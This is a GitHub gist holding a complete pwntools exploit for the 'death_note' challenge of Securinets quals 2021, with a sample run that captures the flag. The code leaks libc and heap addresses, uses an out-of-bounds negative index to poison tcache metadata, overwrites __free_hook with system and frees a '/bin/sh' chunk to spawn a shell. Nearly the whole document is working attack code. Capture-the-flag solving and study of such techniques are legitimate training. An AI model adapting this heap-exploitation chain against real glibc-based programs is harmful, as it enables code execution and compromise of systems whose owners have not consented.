Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created March 25, 2021 22:04
Show Gist options
  • Save hugsy/e53c3a848ed274d468b288ecfce04973 to your computer and use it in GitHub Desktop.
Save hugsy/e53c3a848ed274d468b288ecfce04973 to your computer and use it in GitHub Desktop.
securinet - death_note
#!/usr/bin/env python3.8
"""
death_note - securinets quals 2021
@_hugsy_
$ checksec ./death_note
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./xp.py remote
[*] leaking stuff
[+] libc base = 7f2534a1b000
[+] heap base = 55c442f17000
[*] tcache metadata poisoning
[*] trigger
[*] Switching to interactive mode
$ cat flag
flag{this_has_gotta_be_the_longest_40_seconds_of_my_life_d543c7e3546b10c1d6ed0046db88787a}
"""
import os, sys
from pwn import *
# context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["tmux", "split-window", "-v", "-p 75"]
LOCAL = True
elf = ELF(os.path.realpath("./death_note"))
libc = ELF(os.path.realpath("./libc.so.6")) # libc6_2.27-3ubuntu1.2_amd64.so (35ef4ffc9c6ad7ffd1fd8c16f14dc766)
def attach(r):
if LOCAL:
bkps = [
# elf.symbols["main"],
]
cmds = [
"heap-analysis-helper",
# "bp * $_base() + 0xbc8",
"continue",
]
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds))
return
def create_note(r, sz):
r.sendlineafter(b"5- Exit\n", b"1")
r.sendlineafter(b"Provide note size:", b"%d"%sz)
res = r.recvline().strip().split()
idx = int(res[5])
debug(f"malloc({sz:x}) -> {idx:d}")
return idx
def select_target(r, idx, data):
debug(f"edit(notes[{idx}])")
r.sendlineafter(b"5- Exit\n", b"2")
r.sendlineafter(b"Provide note index: ", b"%d" % idx)
r.sendafter(b"Name: ", data)
def kill_target(r, idx):
debug(f"free(notes[{idx}])")
r.sendlineafter(b"5- Exit\n", b"3")
r.sendlineafter(b"Provide note index: ", b"%d" % idx)
def view_target(r, idx):
debug(f"puts(notes[{idx}])")
r.sendlineafter(b"5- Exit\n", b"4")
r.sendlineafter(b"Provide note index: ", b"%d" % idx)
return r.recvuntil(b"1- Create note")
def exploit(r):
# max of 9 notes
# 0 < note_size <= 0xff
#
# we can malloc with sz >= 0x80 so we can leak libc with the usual unsorted bin method
info("leaking stuff")
debug("alloc chunk")
for i in range(9): create_note(r, 0x80)
debug("filling tcache")
for i in range(7): kill_target(r, i)
debug("freeing to unsorted")
kill_target(r, 7)
debug("reallocating")
for i in range(8): create_note(r, 0x80)
select_target(r, 7, b"A"*8)
libc_leak = view_target(r, 7)
libc_leak = u64(libc_leak[8:16]) & 0x0000ffffffffffff
debug(f"libc_leak = {libc_leak:x}")
libc.address = libc_leak - 0x3ebca0
success(f"libc base = {libc.address:x}")
heap_leak = view_target(r, 5)
heap_base = u64(heap_leak[0:8]) & 0x0000fffffffff000
success(f"heap base = {heap_base:x}")
info("tcache poisoning")
# move chunks[0] to tcache
kill_target(r, 0)
# overwrite tcache metadata to point to __free_hook
select_target(r, -59, p64(libc.symbols["__free_hook"]))
create_note(r, 0x80)
create_note(r, 0x80)
# overwrite with system
select_target(r, 9, p64(libc.symbols["system"]))
# game over
info("trigger")
select_target(r, 2, b"/bin/sh")
kill_target(r, 2)
r.interactive()
return 0
if __name__ == "__main__":
if len(sys.argv)>=2:
LOCAL = False
r = remote("bin.q21.ctfsecurinets.com", 1337)
else:
r = process([elf.path, ], env={"LD_PRELOAD": libc.path})
attach(r)
exit(exploit(r))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment